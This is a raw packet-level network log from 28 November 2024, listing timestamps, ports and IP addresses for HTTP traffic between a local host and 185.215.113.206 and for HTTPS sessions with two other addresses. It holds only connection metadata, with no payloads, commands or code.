Nov 28, 2024 02:27:20.363379002 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.364706993 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.364713907 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.364895105 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.365374088 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.365382910 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.365684986 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.366348982 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.366357088 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.366420984 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.367343903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.367353916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.367424011 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.368330002 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.368338108 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.368437052 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.368967056 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.368993044 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.369055986 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.369055986 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.369061947 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.369122982 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.369319916 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.369327068 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.369404078 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.370287895 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.370294094 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.370382071 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.371292114 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.371295929 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.371342897 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.375453949 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.375475883 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.375552893 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.375552893 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.375559092 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.379336119 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.382189989 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.382210970 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.382334948 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.382342100 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.382355928 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.382452965 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.388577938 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.388600111 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.388648033 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.388653040 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.388684988 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.388711929 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.394629002 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.394649982 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.394694090 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.394699097 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.394728899 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.394783974 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.442706108 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.442805052 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.442985058 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.443190098 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.443274975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.443303108 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.443341970 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.444026947 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.444128990 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.444277048 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.444355965 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.445096016 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.445102930 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.445303917 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.446001053 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.446305990 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.446989059 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.446996927 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.447135925 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.447174072 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.447267056 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.447923899 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.447931051 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.448026896 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.448862076 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.448945999 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.449862957 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.449870110 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.450062990 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.450090885 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.450433969 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.450802088 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.450809002 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.450952053 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.451740980 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.451826096 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.451956034 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.452819109 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.452826023 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.452886105 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.453704119 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.453711987 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.453896999 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.454668045 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.454674959 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.455099106 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.455615997 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.455703020 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.455959082 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.456034899 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.456590891 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.456598997 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.456646919 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.456716061 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.457494974 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.457750082 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.457873106 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.458547115 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.458554983 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.458920002 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.459490061 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.459496975 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.459582090 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.460376978 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.460486889 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.461085081 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.461244106 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.461364031 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.461370945 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.461456060 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.462354898 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.462362051 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.462425947 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.463365078 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.463376045 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.463486910 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.464204073 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.464309931 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.464677095 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.465050936 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.465141058 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.465392113 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.465550900 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.465754986 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.466176987 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.466185093 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.466639042 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.467132092 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.467139959 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.467242002 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.468061924 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.468338013 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.468817949 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.468910933 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.469054937 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.469062090 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.469233990 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.469990015 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.469997883 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.470112085 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.479182959 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.479234934 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.479422092 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.483347893 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.483364105 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.484421015 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.484503984 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.484522104 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.484591007 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.484615088 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.484661102 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.484817982 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.485050917 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.485610008 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.485686064 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.486428022 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.486489058 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.486506939 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.486644030 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.486788034 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.486932039 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.487495899 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.487618923 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.487624884 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.487724066 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.488420010 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.488554001 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.488558054 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.488826036 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.489413977 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.489530087 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.489562035 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.489629030 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.490331888 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.490412951 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.493885994 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.493922949 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.494133949 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.494337082 CET	49744	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.494354010 CET	443	49744	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.503509045 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.503581047 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.505007029 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.505042076 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.505042076 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.505055904 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.505069017 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.507930040 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.507946968 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.508166075 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.508354902 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.508368015 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.547519922 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.547646046 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.547676086 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.547681093 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.547805071 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.547910929 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.548226118 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.548698902 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.548706055 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.549144030 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.549665928 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.549902916 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.549933910 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.550044060 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.550682068 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.550688982 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.550853014 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.551274061 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.551301003 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.551414013 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.551414013 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.551426888 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.551712990 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.551745892 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.551753044 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.552047014 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.552665949 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.552673101 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.552819967 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.553654909 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.553762913 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.553966999 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.554354906 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.554645061 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.554800987 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.554915905 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.555111885 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.555653095 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.555659056 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.555829048 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.556647062 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.556653023 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.556997061 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.557333946 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.557365894 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.557451010 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.557451010 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.557461977 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.557610035 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.557651043 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.557657957 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.557827950 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.558386087 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.558516979 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.558902979 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.559319019 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.559602022 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.559614897 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.559756994 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.560604095 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.560617924 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.560736895 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.561585903 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.561598063 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.561698914 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.562544107 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.562829018 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.562975883 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.563591957 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.563612938 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.563693047 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.563693047 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.563702106 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.563769102 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.570314884 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.570337057 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.570425034 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.570425034 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.570430994 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.573261976 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.577119112 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.577138901 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.577230930 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.577231884 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.577238083 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.577487946 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.579830885 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.579924107 CET	443	49735	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:20.579952955 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.581239939 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.581239939 CET	49735	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:20.598437071 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.598501921 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.598663092 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.598822117 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.598822117 CET	49737	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.598844051 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.598854065 CET	443	49737	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.604044914 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.604067087 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.604274988 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.604468107 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.604479074 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.629076004 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.629142046 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.632946968 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.633006096 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.633040905 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.633157969 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.633157969 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.633186102 CET	49739	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.633193970 CET	443	49739	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.633208036 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.633218050 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.633230925 CET	49738	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.633236885 CET	443	49738	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:20.634366989 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.634655952 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.634849072 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.634892941 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.634900093 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.634951115 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.635612011 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.635787964 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.635977983 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.636096954 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.636595011 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.636601925 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.637036085 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.637514114 CET	80	49723	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:20.637706041 CET	49723	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:20.637995005 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:20.638019085 CET	443	49747	13.107.246.63	192.168.2.6
